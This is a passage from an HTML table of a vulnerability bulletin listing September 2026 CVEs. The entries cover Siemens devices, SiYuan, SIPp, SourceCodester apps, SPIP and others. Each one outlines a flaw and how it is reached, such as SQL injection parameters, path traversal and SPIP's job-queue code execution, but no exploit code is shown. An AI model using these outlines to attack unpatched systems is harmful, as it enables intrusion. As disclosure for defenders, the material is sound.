&lt;td&gt;A vulnerability has been identified in Reyrolle 7SR5 (All versions &amp;lt; V2.70). Information is exposed through the web interface that can be used to calculate the current and past session ID numbers. This could allow an attacker to bypass the authentication and gain unauthorized access to the device.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-62645&quot; target=&quot;_blank&quot;&gt;CVE-2026-62645&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Siemens--Reyrolle 7SR5&lt;/td&gt;
&lt;td&gt;A vulnerability has been identified in Reyrolle 7SR5 (All versions &amp;lt; V2.70). Server-side authorization checks in the web-based management interface are not properly enforced, allowing role-based access control (RBAC) restrictions to be bypassed through manipulation of request data. This could allow an authenticated, low-privileged remote attacker to escalate privileges to an administrative level.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-62650&quot; target=&quot;_blank&quot;&gt;CVE-2026-62650&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Siemens--Reyrolle 7SR5&lt;/td&gt;
&lt;td&gt;A vulnerability has been identified in Reyrolle 7SR5 (All versions &amp;lt; V2.70). A session identifier is generated using an algorithm with insufficient randomness, resulting in a token with low entropy that can be predicted or brute-forced within a feasible number of attempts. This could allow an unauthenticated remote attacker to derive valid session identifiers and bypass authentication.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-62646&quot; target=&quot;_blank&quot;&gt;CVE-2026-62646&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Siemens--Reyrolle 7SR5&lt;/td&gt;
&lt;td&gt;A vulnerability has been identified in Reyrolle 7SR5 (All versions &amp;lt; V2.70). A random number generator is used to generate security-relevant values (such as session identifiers used for authentication purposes) that is not initialized with a True Random Number Generator (TRNG), resulting in a predictable sequence of generated values. This could allow an unauthenticated remote attacker to more easily predict the generated values and impersonate a legitimate authenticated user, potentially gaining unauthorized access to the device.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-62647&quot; target=&quot;_blank&quot;&gt;CVE-2026-62647&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Siemens--Reyrolle 7SR5&lt;/td&gt;
&lt;td&gt;A vulnerability has been identified in Reyrolle 7SR5 (All versions &amp;lt; V2.70). The length of the URL component contained in pre-authenticated HTTP messages is not properly validated before appending additional data to it, resulting in an out-of-bounds write condition in memory. This could allow an unauthenticated remote attacker to crash the affected device, causing a reboot and resulting in a denial-of-service condition.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-62648&quot; target=&quot;_blank&quot;&gt;CVE-2026-62648&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Siemens--Reyrolle 7SR5&lt;/td&gt;
&lt;td&gt;A vulnerability has been identified in Reyrolle 7SR5 (All versions &amp;lt; V2.70). The web server does not properly limit or manage system resources when processing a high volume of concurrent HTTP requests. This could allow an unauthenticated remote attacker to cause the entire device to crash and reboot, resulting in a denial-of-service condition.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-62649&quot; target=&quot;_blank&quot;&gt;CVE-2026-62649&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Siemens--SIMOVE Fleetmanager V3.1&lt;/td&gt;
&lt;td&gt;A vulnerability has been identified in SIMOVE Fleetmanager V3.1 (All versions &amp;lt; V3.1.13), SIMOVE Fleetmanager V3.2 (All versions &amp;lt; V3.2.4), SIMOVE Fleetmanager V3.3 (All versions &amp;lt; V3.3.2), SIMOVE Fleetmanager V4.0 (All versions &amp;lt; V4.0.1), SIPLANT V1.7 (All versions), SIPLANT V2.2 (All versions), SIPLANT V3.0 (All versions), SIPLANT V3.1 (All versions &amp;lt; V3.1.4). Affected devices do not properly validate and neutralize directory traversal sequences in the file-serving endpoint of the embedded HTTP server. This could allow an unauthenticated remote attacker to read arbitrary files from the underlying operating system without any credentials, potentially exposing sensitive data such as credential stores, private keys, and configuration secrets.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-67367&quot; target=&quot;_blank&quot;&gt;CVE-2026-67367&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Siemens--Siveillance Control Pro V3.0&lt;/td&gt;
&lt;td&gt;A vulnerability has been identified in Siveillance Control Pro V3.0 (All versions &amp;lt; V3.0.12.2173), Siveillance Control Pro V4.0 (All versions &amp;lt; V4.0.9.2178), Siveillance Control V3.0 (All versions &amp;lt; V3.0.22.2177), Siveillance Control V4.0 (All versions &amp;lt; V4.0.11.2177). A vulnerability in the OIS web module allows an attacker to upload arbitrary files to the server. Successful exploitation of this vulnerability could allow an attacker to gain root access on the host system, potentially leading to a full compromise of the affected OIS environment.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-50093&quot; target=&quot;_blank&quot;&gt;CVE-2026-50093&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;signalwire--libks&lt;/td&gt;
&lt;td&gt;libks provides foundational support for signalwire C products. Prior to version 2.0.11, `clean_uri()` in libks&#039;s HTTP request parser fails to reject URIs whose path has more segments than its internal canonicalization buffer can hold. The canonicalization step silently passes such URIs through with embedded &quot;..&quot; sequences intact, enabling path traversal in any consumer that later joins the URI with a filesystem path. Version 2.0.11 patches the issue.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-49846&quot; target=&quot;_blank&quot;&gt;CVE-2026-49846&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;SimulPiscator--AirSane&lt;/td&gt;
&lt;td&gt;AirSane is a SANE frontend, and a scanner server that supports Apple&#039;s AirScan protocol. Versions prior to 0.4.12 have a vulnerability in the custom HTTP server implementation of AirSane that allows a remote unauthenticated attacker to cause a Denial of Service (DoS) via memory exhaustion (OOM). In httpserver.cpp, the HttpServer::Request::content function reads the Content-Length header and directly passes this value to std::string::resize() without any upper-bound validation or safe parsing. An attacker can send an HTTP POST request with an artificially large Content-Length value. This forces the daemon to attempt allocating gigabytes of memory, resulting in a std::bad_alloc exception and immediately crashing the AirSane process. Additionally, providing non-numeric characters in the Content-Length header leads to undefined behavior (NaN to integer conversion) due to the lack of error handling during header parsing. Version 0.4.12 patches the issue.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-54135&quot; target=&quot;_blank&quot;&gt;CVE-2026-54135&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;SIPp--sipp&lt;/td&gt;
&lt;td&gt;SIPp through 3.7.7 contains a buffer overflow vulnerability in get_peer_tag() function when processing SIP To headers with tag parameters of 2049 bytes or more. Unauthenticated remote attackers can send crafted SIP messages with oversized tag parameters to overflow the static buffer and crash the process.&lt;/td&gt;
&lt;td&gt;2026-09-13&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90778&quot; target=&quot;_blank&quot;&gt;CVE-2026-90778&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;SIPp--sipp&lt;/td&gt;
&lt;td&gt;SIPp through 3.7.7 contains a stack buffer overflow vulnerability in createAuthHeader() when processing SIP authentication challenges with oversized algorithm parameters. A malicious SIP server can send a crafted 401 or 407 challenge to corrupt the stack and crash the client process.&lt;/td&gt;
&lt;td&gt;2026-09-13&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90779&quot; target=&quot;_blank&quot;&gt;CVE-2026-90779&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;SIPp--sipp&lt;/td&gt;
&lt;td&gt;SIPp through 3.7.7 contains a buffer overflow vulnerability in the get_header() function in src/sip_parser.cpp when processing SIP messages with header content exceeding 20,490 bytes. Unauthenticated remote attackers can send crafted SIP messages with oversized headers to overflow the static buffer and crash the process.&lt;/td&gt;
&lt;td&gt;2026-09-13&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90780&quot; target=&quot;_blank&quot;&gt;CVE-2026-90780&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;SiteSkite--SiteSkite&lt;/td&gt;
&lt;td&gt;Unauthenticated Privilege Escalation in SiteSkite &amp;lt;= 2.1.5 versions.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81805&quot; target=&quot;_blank&quot;&gt;CVE-2026-81805&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;siyuan-note--siyuan&lt;/td&gt;
&lt;td&gt;SiYuan before 3.8.2 trusts the attacker-writable text/siyuan clipboard MIME type and skips sanitization in the paste handler, allowing code execution in the Node-enabled desktop renderer. Attackers can craft malicious web pages that write to the clipboard, and when pasted into SiYuan, injected scripts execute with full Node.js access through the Electron main process.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86712&quot; target=&quot;_blank&quot;&gt;CVE-2026-86712&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;siyuan-note--siyuan&lt;/td&gt;
&lt;td&gt;SiYuan versions before v3.8.2 contain a path traversal vulnerability in the /api/riff/removeRiffDeck endpoint that fails to validate the deckID parameter. An authenticated administrator can supply path traversal sequences to delete arbitrary .deck and .cards files outside the workspace directory.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;8.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87815&quot; target=&quot;_blank&quot;&gt;CVE-2026-87815&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;siyuan-note--siyuan&lt;/td&gt;
&lt;td&gt;siyuan versions before v3.8.2 contain an authenticated SQL injection vulnerability in the fullTextSearchBlock endpoint&#039;s method=1 query parameter. Attackers can inject UNION SELECT statements to read the entire blocks table, bypassing publish-access controls and exposing all document content and sensitive attributes.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87807&quot; target=&quot;_blank&quot;&gt;CVE-2026-87807&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;siyuan-note--siyuan&lt;/td&gt;
&lt;td&gt;SiYuan before v3.8.2 inserts persisted notebook template paths into HTML input value attributes without proper attribute encoding. Attackers can craft malicious template paths that break out of the attribute context and execute JavaScript when a victim opens notebook configuration, enabling same-origin API requests and application state manipulation.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87811&quot; target=&quot;_blank&quot;&gt;CVE-2026-87811&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;siyuan-note--siyuan&lt;/td&gt;
&lt;td&gt;SiYuan before v3.8.2 contains a stored cross-site scripting vulnerability in the Search Assets result list where asset filenames are interpolated into HTML without escaping. Authenticated attackers can craft asset filenames containing malicious markup that executes JavaScript in the victim&#039;s browser when searching assets, enabling same-origin API requests and application state manipulation.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87813&quot; target=&quot;_blank&quot;&gt;CVE-2026-87813&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;siyuan-note--siyuan&lt;/td&gt;
&lt;td&gt;SiYuan before v3.8.2 contains a stored cross-site scripting vulnerability in the search asset preview feature that fails to escape indexed asset content before inserting it into the DOM using innerHTML. Attackers who can place crafted text assets in a workspace can execute JavaScript in the SiYuan origin when victims preview the assets, enabling authenticated API requests and workspace manipulation.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87814&quot; target=&quot;_blank&quot;&gt;CVE-2026-87814&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Snowflake--Snowflake Connector for Python&lt;/td&gt;
&lt;td&gt;In affected Snowflake drivers, WORKLOAD_IDENTITY authentication requests a cloud workload-identity token and attaches it to the login request without verifying that the configured host is a Snowflake endpoint. An attacker who can modify the connection configuration can cause the driver to mint a fresh attestation and send it to a host they control. The captured token can be replayed to Snowflake for its remaining lifetime in accounts where that workload identity is already registered. On Azure, the token audience is also taken from connection configuration. Combined with an attacker-controlled host, the driver can request a Managed Identity access token scoped to a non-Snowflake Azure resource and deliver it to the attacker. That path is the only case in which impact extends beyond Snowflake; it is bounded by the token lifetime and the managed identity&#039;s permissions. Successful exploitation requires WORKLOAD_IDENTITY authentication on a workload that already has an ambient cloud identity. Patched driver versions restrict this authenticator to recognized Snowflake hosts. Users must manually upgrade.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86600&quot; target=&quot;_blank&quot;&gt;CVE-2026-86600&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Socket--Socket Firewall&lt;/td&gt;
&lt;td&gt;Socket Firewall (socketdev/socket-registry-firewall) in registry mode before 2.0.0 does not verify upstream TLS certificates by default. When the api_ssl_verify and upstream_ssl_verify configuration keys are omitted from socket.yml, the generated configuration sets SOCKET_API_SSL_VERIFY=&#039;false&#039; and UPSTREAM_SSL_VERIFY=&#039;false&#039;, and the OpenResty/Lua HTTP client used for outbound requests accepts any certificate, including self-signed and otherwise untrusted certificates, without validating the chain. An attacker positioned to intercept traffic between Socket Firewall and the Socket API or an upstream package registry can present a crafted certificate and modify responses in transit, including substituting malicious package content or altering the allow/block decisions the firewall enforces. Setting api_ssl_verify: true and upstream_ssl_verify: true enables verification; however, in versions before 1.1.334, the generated nginx configuration did not emit lua_ssl_trusted_certificate, and thus verification could not be used successfully without manually patching the generated configuration. Version 2.0.0 changes the default for both settings to true.&lt;/td&gt;
&lt;td&gt;2026-09-12&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90651&quot; target=&quot;_blank&quot;&gt;CVE-2026-90651&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Softish--EarVision Android application&lt;/td&gt;
&lt;td&gt;After spoofing the device and obtaining one user confirmation, an attacker may be able to cause the application to transmit firmware through an unauthenticated and unsigned update channel.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77974&quot; target=&quot;_blank&quot;&gt;CVE-2026-77974&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Softish--EarVision Android application&lt;/td&gt;
&lt;td&gt;An attacker could derive the camera&#039;s Wi-Fi password and connect to its wireless network. This weakens or eliminates the security value of the access-point password and may expose the live video stream, device services, status interfaces, and firmware-update functionality.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81640&quot; target=&quot;_blank&quot;&gt;CVE-2026-81640&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Softish--EarVision Android application&lt;/td&gt;
&lt;td&gt;An attacker could impersonate the camera and place themselves in a man-in-the-middle or device-emulation position. This permits manipulation of device status responses, observation of application requests, and potential triggering of firmware-update behavior.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;7.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-82563&quot; target=&quot;_blank&quot;&gt;CVE-2026-82563&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;SourceCodester--Class and Exam Timetabling System&lt;/td&gt;
&lt;td&gt;A security flaw has been discovered in SourceCodester Class and Exam Timetabling System 1.0. Impacted is an unknown function of the file /delete_subject.php. Performing a manipulation of the argument ID results in sql injection. It is possible to initiate the attack remotely. The exploit has been released to the public and may be used for attacks.&lt;/td&gt;
&lt;td&gt;2026-09-07&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86298&quot; target=&quot;_blank&quot;&gt;CVE-2026-86298&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;SourceCodester--Online Voting System&lt;/td&gt;
&lt;td&gt;A weakness has been identified in SourceCodester Online Voting System 1.0. This affects an unknown function of the file /voting/ajax.php?action=save_category. This manipulation of the argument Category causes sql injection. The attack can be initiated remotely. The exploit has been made available to the public and could be used for attacks.&lt;/td&gt;
&lt;td&gt;2026-09-07&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86290&quot; target=&quot;_blank&quot;&gt;CVE-2026-86290&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;SourceCodester--School Registration and Fee System&lt;/td&gt;
&lt;td&gt;A vulnerability has been found in SourceCodester School Registration and Fee System 1.0. Impacted is an unknown function of the file /bilal/normal/save_stud.php. Such manipulation of the argument Status leads to sql injection. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used.&lt;/td&gt;
&lt;td&gt;2026-09-13&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90514&quot; target=&quot;_blank&quot;&gt;CVE-2026-90514&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;SourceCodester--School Registration and Fee System&lt;/td&gt;
&lt;td&gt;A vulnerability was determined in SourceCodester School Registration and Fee System 1.0. The impacted element is an unknown function of the file /bilal/normal/delete_stud.php. Executing a manipulation of the argument selector[] can lead to sql injection. The attack can be launched remotely. The exploit has been publicly disclosed and may be utilized.&lt;/td&gt;
&lt;td&gt;2026-09-13&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90515&quot; target=&quot;_blank&quot;&gt;CVE-2026-90515&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;SourceCodester--School Registration and Fee System&lt;/td&gt;
&lt;td&gt;A vulnerability was found in SourceCodester School Registration and Fee System 1.0. The affected element is an unknown function of the file /bilal/normal/pay_report.php. Performing a manipulation of the argument period results in sql injection. The attack can be initiated remotely. The exploit has been made public and could be used.&lt;/td&gt;
&lt;td&gt;2026-09-13&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90516&quot; target=&quot;_blank&quot;&gt;CVE-2026-90516&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;SourceCodester--School Registration and Fee System&lt;/td&gt;
&lt;td&gt;A security vulnerability has been detected in SourceCodester School Registration and Fee System 1.0. This impacts an unknown function of the file /bilal/save_class.php. The manipulation of the argument Category leads to sql injection. Remote exploitation of the attack is possible. The exploit has been disclosed publicly and may be used.&lt;/td&gt;
&lt;td&gt;2026-09-13&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90526&quot; target=&quot;_blank&quot;&gt;CVE-2026-90526&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;SourceCodester--Simple Traffic Offense System&lt;/td&gt;
&lt;td&gt;A vulnerability was detected in SourceCodester Simple Traffic Offense System 1.0. Affected is an unknown function of the file saveuser.php of the component User Creation. Performing a manipulation of the argument position results in missing authentication. The attack may be initiated remotely. The exploit is now public and may be used.&lt;/td&gt;
&lt;td&gt;2026-09-07&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86292&quot; target=&quot;_blank&quot;&gt;CVE-2026-86292&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;SourceCodester--Syllabus-Aligned Learning Management &amp;amp; Examination System&lt;/td&gt;
&lt;td&gt;A flaw has been found in SourceCodester Syllabus-Aligned Learning Management &amp;amp; Examination System 1.0. This issue affects some unknown processing of the file db.php. Executing a manipulation can lead to hard-coded credentials. The attack can be executed remotely. The exploit has been published and may be used.&lt;/td&gt;
&lt;td&gt;2026-09-07&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86276&quot; target=&quot;_blank&quot;&gt;CVE-2026-86276&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;SourceCodester--Syllabus-Aligned Learning Management &amp;amp; Examination System&lt;/td&gt;
&lt;td&gt;A vulnerability has been found in SourceCodester Syllabus-Aligned Learning Management &amp;amp; Examination System 1.0. Impacted is an unknown function of the file delete_exam.php. The manipulation of the argument ID leads to authorization bypass. The attack is possible to be carried out remotely. The exploit has been disclosed to the public and may be used.&lt;/td&gt;
&lt;td&gt;2026-09-07&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86277&quot; target=&quot;_blank&quot;&gt;CVE-2026-86277&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;specialk--Simple Ajax Chat Add a Fast, Secure Chat Box&lt;/td&gt;
&lt;td&gt;The Simple Ajax Chat - Add a Fast, Secure Chat Box plugin for WordPress is vulnerable to Stored Cross-Site Scripting via Chat Message in all versions up to, and including, &amp;lt;= 20260811 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. The nonce protecting chat message submission is publicly visible on the chat page, rendering it ineffective as an authentication barrier and allowing fully unauthenticated attackers to submit malicious messages that are stored persistently and rendered to all visitors on every page load.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;7.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81825&quot; target=&quot;_blank&quot;&gt;CVE-2026-81825&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;SpectoLabs--hoverfly&lt;/td&gt;
&lt;td&gt;Hoverfly is an open source API simulation tool. Prior to version 1.12.8, when Hoverfly is running in Diff mode, the `AddDiff()` function writes to the shared `responsesDiff` map without any synchronization (no mutex). When multiple proxy requests are processed concurrently (the normal case for any proxy), the concurrent map writes trigger Go&#039;s built-in race detector which causes a `fatal error: concurrent map read and map write`, immediately killing the entire Hoverfly process. This is trivially exploitable by sending multiple simultaneous requests. Version 1.12.8 patches the issue.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-50013&quot; target=&quot;_blank&quot;&gt;CVE-2026-50013&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;SPIP--SPIP&lt;/td&gt;
&lt;td&gt;SPIP before 4.4.18 contains a missing authorization vulnerability in the administrative action endpoints under ecrire/action/ that allows unauthenticated attackers to perform privileged actions by supplying a valid HMAC-SHA256 nonce without any server-side permission check via autoriser(). Attackers can obtain a valid nonce, compute it for any action as the anonymous user, and invoke the editer_auteur action directly over HTTP to reset the password of any user account, including the administrator.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-72709&quot; target=&quot;_blank&quot;&gt;CVE-2026-72709&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;SPIP--SPIP&lt;/td&gt;
&lt;td&gt;SPIP before 4.4.18 contains a remote code execution vulnerability in the editer_objet action where the arg parameter resolves SQL table names without enforcing an editable columns allowlist, allowing attackers with a valid nonce to inject attacker-controlled rows into the spip_jobs table. Attackers can supply arg=job/0 with crafted fonction and args values, which are later unserialized and executed when the cron job queue is drained, resulting in arbitrary PHP function execution on the underlying system.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-72710&quot; target=&quot;_blank&quot;&gt;CVE-2026-72710&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;SPIP--SPIP&lt;/td&gt;
